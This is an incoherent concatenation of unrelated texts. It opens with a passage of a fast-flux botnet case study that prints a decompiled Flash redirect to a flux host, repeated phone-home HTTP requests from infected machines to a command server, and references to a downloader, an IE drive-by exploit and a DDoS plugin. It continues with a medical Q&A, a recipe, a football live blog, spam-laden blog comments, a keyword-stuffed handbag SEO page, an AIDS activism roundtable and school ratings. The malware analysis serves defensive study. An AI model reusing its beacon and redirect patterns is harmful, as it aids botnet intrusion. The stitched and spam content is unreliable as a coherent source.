The iframe rendered /.footer_01.gif , which is not an actual gif file, but instead an encoded/obfuscated JavaScript snippet. Below we can see the obfuscated JavaScript code it feeds us.
The decoded result of the above JavaScript is seen below, which is nothing more then another iframe redirecting with a connection to another site.
The Iframe rendered /header_03.gif (served in flux) results in another JavaScript encoded/obfuscated file for which the decoded result of the above /header_03.gif is:
The successful compromise of a windows host via this exploit content results in the download of a malicious downloader stub executable session.exe that is then responsible for attempting to download additional malicious components necessary for integrate new compromised hosts into a fast flux service network. The malware sample session.exe above attempts to download and execute the following components:
Supporting Detail:
Following are a representative sampling of URLs to imageshack.us site hosted flash files that simply perform one simple action, an action-script based browser redirect to a flux-hosted combination phishing/drive by exploit that leverages the Internet Explorer (MDAC) Remote Code Execution Exploit (MS06-014). All files are exactly the same based on same md5 and sha1 hashes for all files:
SHA1: dc60b0fedf54eaf055c64ae6d434b8fc18252740
Imageshack HTTP Server maintained modification time suggest swf file compile time of 2007-06-05 03:56:30-0700. Decompiling the flash component results in:
$ swfdump -atp ./xxx.imageshack.us/img527/3530/38023350se6.swf
[HEADER] File version: 8
[HEADER] File size: 98
[HEADER] Frame rate: 120.000000
[HEADER] Frame count: 1
[HEADER] Movie width: 1.00
[HEADER] Movie height: 1.00
[009] 3 SETBACKGROUNDCOLOR (ff/ff/ff)
[00c] 28 DOACTION
( 24 bytes) action: GetUrl URL:"http://xxx.e447aa2.com" Label:""
( 0 bytes) action: End
Below are a few examples of URLs that host the same flash files:
The following are examples of flux serviced MySpace phish/drive-by domains referenced from presumably compromised MySpace user accounts, which were observed during the same time period between 2007-06-26 17:35:44 and 23:18:00 (EDT -0400)
In our fast-flux case study, this is where our infected flux agent makes an initial contact (phone home) connection to a remote web server to report to the attacker that the victim system has been successfully infected and is standing by to provide flux-net services.
GET /settings/weby/remote.php?os=XP&user=homenet-ab0148a&status=1&version=2.0&build=beta004&uptime=244813135872w%20244813135872d%20244813135892h%20244813135919m%20244813135929s HTTP/1.1
User-Agent: MSIE 7.0
Host: xxx.ifeelyou.info
Cache-Control: no-cache
GET /settings/weby/remote.php?os=XP&user=homenet-ab0148a&status=1&version=2.0&build=beta004&uptime=244813135872w%20244813135872d%20244813135892h%20244813135919m%20244813135929s HTTP/1.1
User-Agent: MSIE 7.0
Host: xxx.ifeelyou.info
Cache-Control: no-cache
GET /settings/weby/remote.php?os=XP&user=homenet-ab0148a&status=1&version=2.0&build=beta004&uptime=244813135872w%20244813135872d%20244813135892h%20244813135919m%20244813135929s HTTP/1.1
User-Agent: MSIE 7.0
Host: xxx.ifeelyou.info
Cache-Control: no-cache
Date: Tue, 03 Apr 2007 07:55:53 GMT
Server: Apache/2.0.54 (Fedora)
X-Powered-By: PHP/5.0.4
Content-Length: 19
Connection: close
Content-Type: text/html; charset=UTF-8
Added Successfully!
In our fast-flux case study, this is the server response to a request from the fast-flux agent for the configuration file settings.ini on the remote web server. This appears to be a consistent 197 byte binary/encoded configuration response. We are still attempting to complete reverse engineering of this session:
In our fast-flux case study, the system downloads a suspiciously named DLL plugin_ddos.dll, whose naming might suggest to some that it is a denial of service component.


text:
CAM For Hot Flashes
Dear OncoLink "Ask The Experts,"
I was thrown into menopause by my cancer treatment- Is there anything to treat or help with these hot flashes that isn�t a medication?
Jun Mao, MD, MSCE, Family Medicine and Community Health Physician and Acupuncturist at PENN Medicine , responds:
Many of the cancer treatments (chemotherapy, surgery) can induce premature menopause. The hormonal treatments (e.g. tamoxifen aromatase inhibitors) may also worsen the experience for hot flashes. There are a number of studies that show acupuncture seem to produce similar effects on hot flash reduction as medications such as effexor. The beneficial effects seem to persist for months beyond the last acupuncture treatment. We are currently conducting a trial here at PENN to evaluate the short and long term effects of acupuncture for hot flashes in breast cancer survivors.
There is also some promising data suggest hypnosis and yoga may help hot flashes.
This question and answer was part of the OncoLink Brown Bag Chat Series. See the full transcript from IntegrativeTherapies in Cancer Care.


text:
It's time for our first Have the Cake challenge! I had a very hard time deciding what we should make. I searched around for any recipe that would grab me and about two weeks ago, I found it. The recipe I picked is for carrot cake. Now, there was some hesitation in picking carrot cake because I have no idea if everyone likes carrot cake! Something with chocolate would have probably been an easy crowd pleaser but the purpose of this club is to try something new and have fun. The beauty of this recipe is that I believe with a little creativity and recipe adjustment, this could be banana cake or zucchini cake/bread. The reason I fell in love with this cake is that it's naturally sweetened with fruit.
After I decided to start this baking club, it occurred to me that in a short two months, I'd have to fit into a bridesmaid dress for my sister's wedding. I kept that in mind when picking a recipe so the ingredients and the overall health factor of this cake very much appealed to me. I found this recipe on a blog that I love called 101 Cookbooks written by Heidi Swanson. Heidi was nice enough to let me use her beautiful photo for this post.
I've read a lot of the comments on the original post -click here- which have included some variations to the recipe. One comment said that the cake tastes very much like banana bread with carrots as opposed to a straight carrot cake. One reader substituted applesauce for butter and was successful. I would suggest reviewing the original post and comments before baking for some ideas and reactions.
Please review this post for blogging info and this post if you'd like to join the club.
**You can use this recipe or feel free to use another carrot cake recipe.**
Let's get baking!
**You can use this recipe or feel free to use another carrot cake recipe.**
Let's get baking!
Source: 101 Cookbooks
2 cups whole wheat pastry flour (or all-purpose flour)
2 1/2 teaspoons baking powder
1 1/2 teaspoons cinnamon
3/4 teaspoon fine grain sea salt
3/4 cup finely chopped walnuts
4 ounces unsalted butter, heated until just melted
1/2 cup dried dates, seeded and finely chopped into a paste
3 ripe bananas (1 1/4 cups), mashed well
1 1/2 cups grated carrots (about 3 medium)
1/2 cup plain Greek yogurt (2% or lowfat is ok)
2 eggs, lightly whisked
6 ounces cream cheese, room temperature
3 tablespoons agave nectar or maple syrup (or to taste)
Preheat oven to 350F. Butter a 9x5x3 / 8-cup loaf pan (or 8x8 cake pan) and line it with parchment paper.
Sift together the flour, baking powder, cinnamon, and salt. Stir in the walnuts and set aside.
Stir the dates into the melted butter, breaking up the dates a bit.
In a separate bowl combine the bananas and carrots. Stir in the date-butter mixture, breaking up any date clumps as you go. Whisk in the yogurt and the eggs. Add the flour mixture and stir until everything just comes together. Spoon into the prepared pan. Bake for about 50 - 60 minutes or until a toothpick tests clean in the center of the cake - it'll be less if you are using a standard cake pan. Remove from oven and let cool.
While the cake is baking whip together the cream cheese and agave nectar (I'm certain you can use sugar instead of agave to sweeten). Taste. If you like your frosting sweeter adjust to your liking. When the cake has completely cooled frost the top of the cake.
Makes one carrot cake.


text:
Which Eduador will show up? The odds-beaters from the first two matches, or the we suck at sea level boys from World Cup qualifying and group match 3?
Hoping for the former.
Can England win despite Sven? I think so -with Gerrard and Rooneh, you have not one but two dudes capable of completely bossing a match, putting the team on their shoulders, and pullig a Jay-Z: "I will NOT lose." I look forward to watching Ashley Cole show again why Arsenal have the best left back in the world, even if it is only for another couple of weeks.
"Eng-er-land, Eng-er-land, Eng-er-land..."
Half Time. 0-0. Not a very pretty match for the neutrals. England are playing 4-5-1 with Rooneh on top, and have largely been ineffective. Ecuador have created equal chances if not a few more and are NKOTB: Hangin' Tough.
Moment of the match thusfar happened when John Terry screwed up a header and put Ecuador's Delgado through on goal all alone. He measured up his shot and took it, and there seemed no way that he wasn't going to score. Only problem was that Ashley Cole came flying literally out of nowhere to slide down and deflect the shot off the crossbar. Very probable that Ash saved England from going 0-1 down.
Ash saves the day; Cheryl Tweedy to write a song about it.
60th min.: 1-0 England. Spiceman does what Spiceman does best. As good of a free kick as you will ever see. 30 yard curler that just beat the keeper even though the keeper was well positoned and reacted quickly. His full stretching dive only allowed him to just barely meet the ball and deflect it off the post and in. Beautiful, beautiful free kick.
Spiceman's amazing free kick barely beats The Ultimate Warrior.
England 1-0 Ecuador.
England were rubbish yet again, but Robinson made a world class save to hold the lead, and they made Spiceman's goal stand up. England are through to the final 8, where they will play the winner of Portugal-Holland.
Congrats to England and also to Myles, the best football writer I read, who predicted exactly what would happen.
Best match on paper in the round of 16, along with Spain-France. Should be a classic.
These two have played as recently as the semifinals of Euro2004, with Portugal beating Holland 2-1.
Horseface VanDivesalot has been dropped; Holland are going with Robben, Kuyt, and RVP up front. Joy.
12.01 p.m. - 1 minute in and this is already better than England-Ecuador. Van Bommel misses the post by about 1 foot with a low rocket shot, then gets booked for a stupid challenge on C Ronaldo.
12.20 - C Ronaldo picked up a hard knock in the 3rd minute and is clearly not 100%. Trying to run it off, but you can tell it has affected him a bit. He has received treatment twice, and it looks like a gash/bruise on his thigh. Interesting to see how much it affects him.
12.22 - Nuno Maniche has the same face as Irish golfer Paddy Harrington. Lots of lookalikes today: Dean Cain (Deco), Patrick McEnroe (Robben), Boris Becker+Cobra Kai Johnny (Kuyt), and even a hint of a pasty Peter Brady (Van Bommel).
12.23 GOLASO! 1-0 to Portugal. Maniche has done it to Holland yet again. Great cross in from
12.34. C Ronaldo cannot go on. He is replaced by Simao. I don't wish an injury on anyone and I hope C Ronaldo is OK, but I must admit that the result now makes this matchup my fantasy: two teams I really like minus the one player on each team that I really don't like (VanDiver and C Ronaldo).
12.37 - Van Persie schools two Portugese defenders then shoots just wide form a tight angle. This match is really "coming to a boil" as the Brits say.
12.40 - Costinha, already on a yellow, fouls Cocu hard again, kicking his ankle. He has been warned for the last time, and must beware - his next hard foul and he will be off.
12.42 - Collision in the box between Robben and a Portugese defender. No foul given, although replay shows that Robben was kicked in the chest.
12.44 - Van Der Saar makes an amazing save from a point blank Pauleta rocket shot.
12.45 - I told you. Costinha sent off for Portugal after handling the ball. File that move under "not smart". One of the few times this has happened this tournament where you can't really argue against the referee's decisions.
12.48 - Half Time. Great half, and the 2nd should be even better. Portugal must defend their 1 goal lead for 45 minutes playing a man down, and without one of their most talented players in Ronaldo who is off injured. Should be exciting.
1.10 - Cocu smashes one off the crossbar; Holland so close to getting an equalizer.
1.13 - Holland creating chance after chance after chance. Horseface is warming up; when he comes on it should be for Kuyt, who has been the least effective Dutch forward. It would be a mistake to take Van Persie off, as he can create a goal out of nothing and is their best free kick taker.
1.17 Free kick awarded, pushing & shoving, Figo lightly headbuts Van Bommel, Van Bommel does his best Rivaldo, grabbing his face and falling to the ground like a sack of potatoes. More pushing & shoving. Figo booked.
1.22 Figo elbowed in the face by the Dutch right back, who is already on a yellow. He receives another yellow and is sent off. Can't really argue with the call after seeing the replay. 10 v 10 for the last 26 minutes, and the match is already open and intense. It will only be moreso from here on out. This game has extra time classic written all over it, but Holland will need to manufacture a goal to get us there.
1.32 - Deco makes a hard foul and is rightly carded. Another scuffle breaks out, lots of pushing & shoving. Sneidjer pushes Petit to the ground and he is also booked. Van Der Vaart is also booked. Portugese keeper Ricardo is also booked - I think every single player is now on a yellow card. Saying that emotions are high is like saying there's a small party in the Castro today.
1.36 - Nuno Valente is booked for a bad challenge on Van Persie. 15 minutes to go; we may not finish with 20 men on the field.
1.37 - No sooner do I say that then Deco is given a 2nd yellow and is sent off, I guess either for picking the ball up or for being tackled by Cocu. Why was Cocu not carded? First one that I think the referee got wrong. This match is straight-up crazy. Anyhow, Holland now have a 10 v 9 advantage for the last 12 minutes.
1.39 - Ricardo saves a Kuyt shot when Kuyt is played through all alone 1 on 1 with the keeper. Kuyt slides into Ricardo and kicks the shit out of the Portugese keeper (not intentionally), who is hurt. 10 minutes to go.
1.40 - It just hit me like a bolt of lightning: Big Phil Scolari is Gene Hackman. I cannot believe I never noticed this before.
1.41 - Big Phil shows his brass balls by taking legend/icon Figo off just as he did in the Euro2004 quarterfinal. Tiago on for him.
1.42 - Best name in the tournament is on for Holland: Jan Vennegoor of Hesselink. Ruud looks absolutely shocked that he has not been used (and now cannot be).
1.49 Kuyt just misses 2 chances as regular time expires. No less than 6 minutes of extra time...
1.53 - Van Bronkhorst given 2nd yellow for a bad challenge and sent off. It's now 9 on 9 for the last two minutes.
1.54 - Barcelona teammates Deco & Van Bronkhorst are sitting together watching the end and chatting, having both been sent off. Funny.
1.56 - Full Time.
Survive and advance, mami. Survive and advance.
Portugal 1-0 Holland.
Wow what a match - literally a battle. I actually thought the referee did a good job with all his decisions except one - the 2nd yellow for Deco was a joke - he was grabbed and thrown to the ground. I can only guess the the ref decided that he was wasting time by picking the ball up. My point is this: some of the other refs in this cup would have sent 6 dudes off and we would have seen a forefit. Anyhow, Deco and Costinha miss the quarterfinal with England. Costinha is replacable, but as I have said all along, Deco is their most important player and will be sorely missed. I still think Portugal can beat England.
The pro-VanNistelrooy camp will rake Van Basten over the coals for not bringing him on and then losing. His ManUtd career is in peril/chaos/turmoil; now it seems you can add his international career as well. It couldn't have happened to a


text:
Thursday, November 6, 2008
Thanksgiving Wrapper Freebie...
24 comments:
- Mary Ann said...
This is so cute. Thanks so much for sharing, since I'm creatively disabled, I have to depend on those who are creative!!!!! Thanks again for sharing.
- November 06, 2008
- kathy said...
Too cute--thanks for sharing
- November 06, 2008
- Suzi said...
Thank you so much. Your work is da bomb!! LOL!
- November 07, 2008
- Phyldar said...
Thanks so much for sharing this, Laurie, it's adorable!
- November 13, 2008
- charlene aka scrappygma said...
Thanks Laurie you are the best ! Come on by I have an award for you
- November 13, 2008
- Annie said...
Hey, Laurie, this is adorable! My kids will love it.
- November 16, 2008
- CreativeSparkle said...
Thanks so much! I love your work!
- November 25, 2008
- xashee's corner said...
i LOVE your designs and thank you so very much for sharing!! Have a BEAUTIFUL day! :D
- December 01, 2008
- Deanna said...
How adorable! Thank you so much!
- December 07, 2008
- Diane said...
I downloaded the snowman image from someone's blog last year. I have been looking for the creator of this template for a long time on-line --- to thank you, and be able to give you credit for this adorable design!
I gave them away for gifts last year as wrappers for microwave popcorn and they were a bit hit... sooo cute! Thank you! I will be sure to credit you always from now on.
- November 12, 2009
- mmaynard said...
I so love this little guy. Do you have a female to go along with this young man? THANKS!
- October 11, 2010
- NanaDiana said...
Thank you so much. I found you through Diane over at PittyPat Paperie..and this is just adorable. I love it! xo Diana
- October 18, 2011
The wrapper is seriously adorable!
- October 21, 2011
- sdelong1228 said...
Thanks so much for the very adorable wrapper!!
- November 16, 2011
- Dawn said...
I love the idea for my girls' classmates. I print them to small fun size snack like 3.5 by 5. It worked really good. Something for girls & I to do this weekend. Thank you so much! :D
- November 17, 2011
- Judy said...
Thank you so much Laurie for sharing your time and talent with us. This is so darling....can't wait to use it next year. Our Thanksgiving celebration in Canada has come and gone for this year!
- November 21, 2011
- Moments by Marla said...
Oh My Goodness!!! This is an adorable little guy!!! Thank you!!
- November 22, 2011
- elvira said...
Thanks so much. I made 2 of this for my children's teacher last night at 11:00 PM. It was so easy, fast and they look awesome.
Your are so kind for sharing . God bless you and your family.
Happy Thanksgiving!
- November 23, 2011
- Nancy said...
So cute - thank you for your generousity!
- November 19, 2012
- susane said...
Thank you for the good times in your blog. I am often in position to watch (again and again) these wonderful items you shared. Very interesting. All the best !
voyance par mail gratuite
- February 09, 2016
- susane said...
Hey great post. I have to learn many things from this position. Thank you for sharing.
voyance gratuite en ligne
- August 10, 2016
- lharrisn said...
How can I download this precious Pilgrim Candy Bar Wrapper? It says it is free.
L Harrison
- December 07, 2016
- Reema dsouza said...
I think, and it feels through all the articles, that you have mastered your subject from end to end.
voyance en ligne gratuite
- July 18, 2018
- Unknown said...
I would like the pilgrim candy bar pattern if possible
- October 30, 2018


text:
Bally leather weekend bagCategories:Other Brands
Bally is a company with a more than 150 years history. Unlike the most fashion houses specializing in leather shoes and accessories, Bally isn't Italian or French, but a proud Swiss company. And the main core business of Bally is superb quality leather shoes (both for men and women), and quality leather weekend bag. Bally brand sells also clothing and other accessories and the company has expanded internationally with boutique shops and representation worldwide.
Bally started business in 1847 when brothers Carl Franz and Fritz Bally took over their fathers elastic ribbon manufactory.
After a business visit to Paris Carl was fascinated by a beautifully decorated pair of slippers that he brought o his wife. An idea was born and brothers established a company "Bally & Co". Fritz Bally later left the company and Carl established new business under name of "C.F. Bally" and already in 1860 employed more than 500 people in his shoe factory. Bally expanded in other countries as well, and opened branches around the world, from Paris to Buenos Aires, producing shoes for work, leisure activities, as well as sports. This brand's traditions and expertise in luxury handbag manufacturing is absolutely one of the best. This is true quality leather handbag to buy, if you are searching for one. And this quality also means that the fashion bag from this brand will last long in its durability, beauty and functionality.
In 1976 Bally started producing leather weekend bag and other high quality accessories. Today there are 200 single brand stores throughout the world and company promises to open new ones. Bally bags are of superb quality, they are elegant, expensive and luxury.
One of the hottest Baly leather weekend bag is the Bally Jana. Angelina Jollie has been spotted wearing this simple lined beautiful bag. Another interesting additon is the Bally leather weekend bag. It is rather different in its design from the classic Bally leather weekend bag, however might appeal to some handbag hunters. Bally replica bags and accessories are cheap fake Bally knockoffs. Information on Bally sale or Bally discounted products is often available on their website. Bally leather weekend bag are the exquisite craftsmanship – attention is paid to all the smallest details. So if Bally bag sale offers discounted cheaper Bally clutches and bags for smaller price, this is the right time to buy the discounted designer bag. Bally bag will not have the wholesale discount, however you will be able to save money and buy women handbag for smaller price, for example Bally Beeleen.
Bally bags and Bally shoes are very popular and special. But replica Bally bags are the fake Bally purses and totes, as well as Bally replicas, this means that these are fake Bally bags and Bally replicas which are copy leather weekend bag not the real designer purses. Bally replica bags are mere imitations, so check out genuine discounted brand bags that some sites sell. These are discounted designer handbags of previous season that are sold at low prices. Check out the latest bag sale on internet with the lowest prices on women bags. These leather bags are of the top quality, they are original brand bags and made using expert craftsmanship and attention to the smallest detail. These hand bags are truly luxury accessories and they cost the price they deserve. Check out the latest bag sale.


text:
Being There
Durban Delegates Return Stateside, Fired Up and Ready to Jump Back Into the Fray
September 2000
A Mouse Roars
"The answer does not lie with donations or price cuts from drug companies but rather with the mass production of quality generics. This could result in the cost of a year's antiretroviral treatment being cut to a mere $200 a year."
-- Médecins Sans Frontières, Geneva
"This is not a pipe dream. The polio vaccine is sold for several dollars in the U.S. and just a few cents in the developing world."
-- Treatment Action Campaign, South Africa
Tales of a "Mass Movement"
In the time-honored TAGline tradition, we will be dedicating this as well as the October issue to sorting through and processing the goings-on at the 13th International Conference on AIDS which, if you hadn't heard, was held on the African subcontinent this year, in Durban, South Africa, from July 9-14. As we did on the heels of the head-spinning Vancouver conference four years ago, TAGline sat down with those who attended the meeting (Mark Harrington, Gregg Gonsalves, Michael Marco, Yvette Delph) and tried to get a handle on the mini revolution Durban has firmly set into motion. The second half of the roundtable discussion will appear in next month's issue along with additional items from the conference.
Harrington: Mike Barr is interviewing us.
Marco: Barbara Walters, eat your heart out!
TAGline: Okay. Where to start? I guess I'd like to know what made the biggest impression on you in Durban. And what do you think the media back here in the states might have overlooked. Yvette?
Delph: I think it was a huge conference. Politically, I think this was groundbreaking. It was wonderful to see the level of organization and enthusiasm of the South African treatment activists and the participation of TAC [NB: Treatment Action Campaign, a growing activist movement based in South Africa; see accompanying article]. And to see the participation in the march that they organized. And to see the cooperation among the AIDS activists internationally and the participation by U.S. and other treatment activists from around the world in the TAC march. It was very, very invigorating to hear people like Winnie Mandela, Edwin Cameron and Nelson Mandela speak.
I think, like everyone else, I was disappointed over Mbeki's speech and his apparent dodging of the HIV issue and trying to put everything at the door of poverty. I think poverty and debt relief are important -- and crucial in solving the problem -- but I also think that those are very long-term strategies and there is lots of stuff that can be done to address the HIV/AIDS situation in the short-term which he does not seem to be willing, at least overtly, to talk about.
Marco: It was also really amazing to just be there and have so much interest, attention and media on AIDS which, while it is a huge problem in South Africa, it's not often addressed by everybody. For instance, I had amazing talks with cab drivers wanting to talk about AIDS and, you know, asking questions like, Should someone with HIV still be able to cook them dinner. And just basic questions we used to ask in the '80s and that some people still ask today in the U.S. But just doing some basic outreach and education, talking to them about Mbeki and what they thought. And I think also, I'll agree with Yvette, that the activism was great: seeing TAC grow and flourish at the meeting. Also, big-time AIDS researchers, everybody from Judy Currier to Trip Gulick to Julio Montaner, getting passionate and fired up and talking like an activist. You could see the fire in their eyes. And they really thought that something needs to be done and that this is going to galvanize them to start working on international issues. There were some absences from activists and from leading AIDS researchers that were disappointing. The data and scientific presentations and some of the oral presentations, you know, were mediocre.
Harrington: Not all of them.
Marco: Not all of them, but the politics and the fever that happened there totally outweighs a good or bad accepted oral presentation.
Delph: Some of the debates that occurred were particularly helpful and interesting. To mention a couple of them: whether HIV-infected women in the developing world could breastfeed; is anything less than HAART acceptable in countries with few resources? Julio Montaner was really good in that debate.
TAGline: My TAG cynicism -- skepticism -- would lead me to question whether a few months from now all these people having this Third World lovefest in Durban. . . . I mean it just seems like it will all dissipate and the local people will be left with a little, maybe, encouragement and maybe a few extra resources, but is there really going to be anything long-term?
Harrington: Mike, are you suggesting that the Durban feeling was just a mass hysteria that's going to wear off when people go back home to their lives?
TAGline: Well, yes, I think that's human nature.
Delph: Mike, I think it is human nature, but those of us who feel that strongly about making sure that it does not die down also have a responsibility to keep the fires burning here.
TAGline: What is Julio Montaner or Trip Gulick or Judith Currier, for example, going to do back in New York or Vancouver, you know, two months from now?
Gonsalves: Mike, I share your cynicism . . .
Harrington: Skepticism, Gregg, skepticism.
Gonsalves: Skepticism and cynicism. I think the whole meeting was a challenge to people, to researchers and activists alike, to actually look in the face at an epidemic of a proportion they've never seen before -- to see the reality of AIDS in the developing world. Different people are going to rise to the challenge in different ways -- and not rise to it. The challenges are enormous. Before we went to Durban, nobody could have predicted that the issue of treatment access in the developing world would have blown up to be such the hot button political issue of the meeting. Everyone said, "Vaccines, vaccines!" The vaccine advocates say that's the only answer to stopping -- or helping -- the epidemic in the developing world.
TAGline: I think that might just be your bias, Gregg. The people I talked with, who admittedly could be counted on the fingers of one hand, all said, "Oh, it's all going to be about access, it's all going to be about access." And dismissed it. A lot of the reason people didn't go to Durban was because they were worried it was going to be about access and pricing policies and politics. So I don't know. Was it really that big of a surprise? I mean, yes, it was surprising to see a full page spread in The New York Times about compulsory licensing and parallel import -- and some of Mike Waldholz's stuff -- but other than that, wasn't this all pretty much expected?
Harrington: I actually think the way the meeting was covered in the U.S. was very different from the way the meeting was experienced by the people who were there. And one of the things I noticed when I got home was that people didn't have a sense of the real exhilaration and inspiration that people got who were there. And when you would read the articles by Larry Altman, they might talk about some of these issues, but it was in a very removed way. Clearly, Larry and Mike W. didn't go to the march, didn't see the workshops the Treatment Action Campaign gave before the march, and they didn't really see the way that Edwin Cameron related to the Zulus in the audience, who were from the most hard-hit area in South Africa who clearly were responding on a political level to the need to mobilize their own government around treatment issues. That was really a mass movement, and was not something that was covered in the press here.
And so it's not just a matter of what people who went to the meeting and came back do, it's also the fact that there is this mass movement. There is incredible pressure on the drug companies. They've made a lot of promises now, but they haven't really started delivering on any of them. And there is the possibility that the pressure will be lessened, but I think that having made some of these promises they're going to now have to start figuring out how to deliver on some of them -- and so are other agencies that are going to have to start thinking about the infrastructure. In the meantime, there are people in parts of South Africa that are already moving ahead to implement programs like short-course AZT in mother-to-child transmission -- in the teeth of opposition from the government. And they're already getting substantial results, and it will be pretty interesting if in a year or two . . . as more people become aware of their HIV infection in South Africa (which is a middling resource setting compared to some of the other poor countries) and Brazil making the offer to help other developing countries with access to the generic antivirals that Brazil is making . . . is really putting unprecedented pressure on the global pharmaceutical industry. So things are going to happen. I don't think they'll happen fast enough.
Delph: I think you also need to include in that the kind of pressure that is being put on UNAIDS and the various member organizations like WHO and the World Bank. I think a lot of pressure was put on them at Durban. Many of the agencies came to say basically, "Look at what we've done. We've done a whole lot." And we basically said, "You've not done enough."
Gonsalves: There are also research challenges, Mike, that we have focused on that took on a new twist in Durban. We've talked about long-term effectiveness research over the past 18 months, about when to start, when to switch. There are questions about: How are things being implemented in mother-to-child transmission protocols and how have they been evaluated? How do you tell what works on the "ground" in resource-poor settings? Which hasn't been part of our effectiveness agenda, but it is, it's definitely post-marketing research, but it's not the kind of post-marketing work researchers are used to thinking about.
Delph: Even the long-term effectiveness research and its relevance to the developed world also has major implications for the cost effectiveness in developing countries. Because if we find, in fact, that we don't need to start . . . that it's better to start antiviral therapy when the CD4 count is 250 or 300, that translates into major cost savings not only for the developed world but for the developing world.
Gonsalves: On the skeptical side of things, Mike, there are a lot of Saul-on-the-road-to-Damascus conversions happening in Durban to people for whom [access and equity] haven't necessarily been issues, but then all of a sudden you get there and you decide that that's where the world should be focusing its fight.
TAGline: I mean, out of all these . . .
Delph: Mike, Mike, before you go on, I would also like to draw the analogy between, for me, attending Durban this year and attending the Beijing Women's Conference in 1995.
TAGline: Okay.
Delph: Because there was a lot of the same kinds of criticism: "We spent so many millions of dollars to bring women and governments from all over the world. What is it really going to mean?" What did the Cairo Conference in 1994 mean?
TAGline: Cairo?
Delph: The women's conference is an international conference on population and development.
TAGline: Okay, Cairo '94. Beijing '96?
Delph: '95. And I think that five years later we've seen that what it has meant is that grassroots women and organizations have come together, that they have proliferated, that they have met with greater understanding of their basic rights from the people -- whether as women or rights in terms of reproduction. It has meant that there is pressure on governments to ensure that people know these rights, that these rights are enshrined in legislation and in practice. There has been a tremendous pressure, for example, to address issues of bride burning, of female genital mutilation, all kinds of things. And it has brought both to the fore as issues and the pressure has been maintained, and I think that progress has been made. I don't think enough progress has been made, I think that [the governments] are nevertheless at this late date trying to back out of certain commitments. And funding for these programs is still a big issue. But at the same time, I would not want to minimize the impact that those conferences have had.
TAGline: I don't mean to minimize the impact of the meeting. We [Aid for AIDS] had a conference in Venezuela a couple of years ago. Maybe it's apples and oranges, but the one thing that did come out of that weekend after the feel-good wore off was the networking that goes on, the transfer of experience and "technical assistance," whatever you want to call it. And there are two or three activist groups there in Venezuela today that either didn't exist before or are much stronger now. So I think that's something that conceivably could be a lasting legacy of the meeting.
Delph: And the knowledge at the end of the day that you are not alone out there. And that there are others out there who are interested in helping -- who you now know and have contacts with and can maintain that contact. I think together we can do so much more than each of us can do individually.
Gonsalves: Mike, I think it's also about witnessing, about being a witness. It's not so much about what we did there but what we witnessed. We saw a Supreme Court justice get up who is gay and HIV-positive in a country where people get murdered because they are HIV-positive. We saw poor people who probably go home . . .
TAGline: But isn't it relatively easy for a well-to-do white man to stand up and come out as HIV-infected? It seems a little . . .
Gonsalves: But it wasn't easy for the black African men and women we saw, who probably go home to fairly squalid living conditions, to come out and to protest and to demand treatment and to wear T-shirts that said they were HIV-positive. They identified themselves publicly as positive in a country where people get killed for that.
Harrington: And I'm not sure it is that easy for white gay men to come out in certain countries, and I wouldn't make that assumption right off the bat.
Delph: And I also think . . .
Harrington: Wait, wait, wait. I want to make this point. It might be easier for Judge Cameron to make that point than for someone in KwaZulu Natal who's going to go back to a township and might get beaten, but it's also . . . when somebody takes on their government like that, it's a very brave thing. And I don't think we should just discount it and say, "Oh, it's just another white man coming out with HIV." We know a lot of activists who are relatively privileged, and they haven't come out in certain settings in their own countries in the North.
Marco: Look at Elizabeth Glaser or Mary Fisher in some ways. You also saw, just recently, some very prominent family, I don't know the name . . .
Harrington and Delph in unison: Sisulus. [NB: Walter Sisulus was an ANC colleague and prison-mate of Nelson Mandela.]
Marco: They admitted that a death in their family was due to AIDS. That would have never happened if it weren't for Cameron and this conference. I mean, those are wild steps.
Delph: I think you also need to remember South Africa had its history of apartheid. It also has its history of whites who have fought apartheid, but you're also seeing here a white gay man who, yes is in a privileged position, but he's also fighting now for access to HIV drugs for a majority black population.
TAGline: Uh-huh.
Gonsalves: The more moving thing to me was seeing people . . . The AIDS activist movement in the U.S. largely started from, yes, privileged white gay men who were either dying or saw their friends . . . [But here you have] people without a lot of social privilege doing something in a fledgling democracy with a huge burden of HIV stigma, . . . black men and women from townships coming out to the cities and doing this and saying, "I'm HIV-positive and I want treatment. . . ."
Harrington: And getting help from their labor unions and . . . there are a lot of aspects of their mass movement that are impressive in ways that we were never able to achieve here [in the U.S.]. The fact that the unions were there, several political parties that are in opposition to the ANC were involved. There really was a mass feeling to the demo that I think was maybe only comparable to when . . . Mike, do you remember when the Haitians took over Brooklyn Bridge?
TAGline: '90? '91?
Harrington: There was a truly mass kind of demonstration about . . . I think it had something to do with a government proposal for mandatory testing.
Marco: Also, Mike, to hear Nelson Mandela speak . . .
Gonsalves: It's weird, Mike, because I heard Edwin Cameron speak, and Fauci said it was the best speech he had ever heard at an AIDS conference, and I thought it was great. And then on the last day of the conference, to hear this guy whom everyone has admired and is probably one of the greatest men of the twentieth century speak . . . but also make this extremely skillful, powerful speech where he was able to tell the West to get off Mbeki's back about the etiology of HIV and to say that the debate was irrelevant in the face of the suffering of millions of his countrymen and women and that he did have to face the challenge of treating opportunistic infection and preventing mother-to-child transmission with AZT or nevirapine.
Marco: The fact that Mandela used the words "safe sex" and "condoms" and used the term "opportunistic infection" -- I mean, he got press worldwide. I don't think we understand how huge that was, even though Mandela might have bloody hands for not doing enough under his reign.
Gonsalves: And also, Mike. . . . We heard George W. Bush last night give this flaccid stump speech. . . .
Harrington: You did. I didn't.
Gonsalves: . . . to give this really flaccid stump speech filled with every political platitude in the book, then to hear Mandela talk about compassion and dying and invoke his own death. . . . You know, he's 82 years old and he talked about his own mortality and the need to approach people with AIDS with compassion and love. For him to say that to his country was really moving to watch. It was definitely the best international conference I've ever been at.


text:
Two elementary schools in the San Juan School District are listed as Priority Schools. They are Tse'bii'nidzisgai Elementary at Monument Valley and Bluff Elementary. There are 15 priority schools in the state
There are 28 Focus Schools identified in the report, including three schools in the San Juan School District. They are Montezuma Creek Elementary, Monument Valley High, and Whitehorse High schools. The three are classified as low performing schools.
Monticello High is one of 48 schools identified as Reward Schools in the report. Monticello earned the designation as a result of high progress and above average achievement.
The UCAS testing system replaces the Adequate Yearly Progress provisions which were part of the No Child Left Behind Act.
Under the AYP system, schools received a "yes" or a "no" score in 40 categories of achievement. One "no" in any of the subcategories meant the school did not meet AYP.
This year, the Department of Education granted Utah a waiver to key parts of the act if they promised to create their own plan.
Under the new program, students are scored on achievement, as well as growth.
Elementary and junior high school students are tested on language arts, math, science and a direct writing assessment. High school students are tested on language arts, math, science and graduation.
Of the six elementary schools in the San Juan School District, three scored below the state average of 435.
Students at Albert R Lyman Middle School in Blanding received a score of 452, compared to the state average of 435.
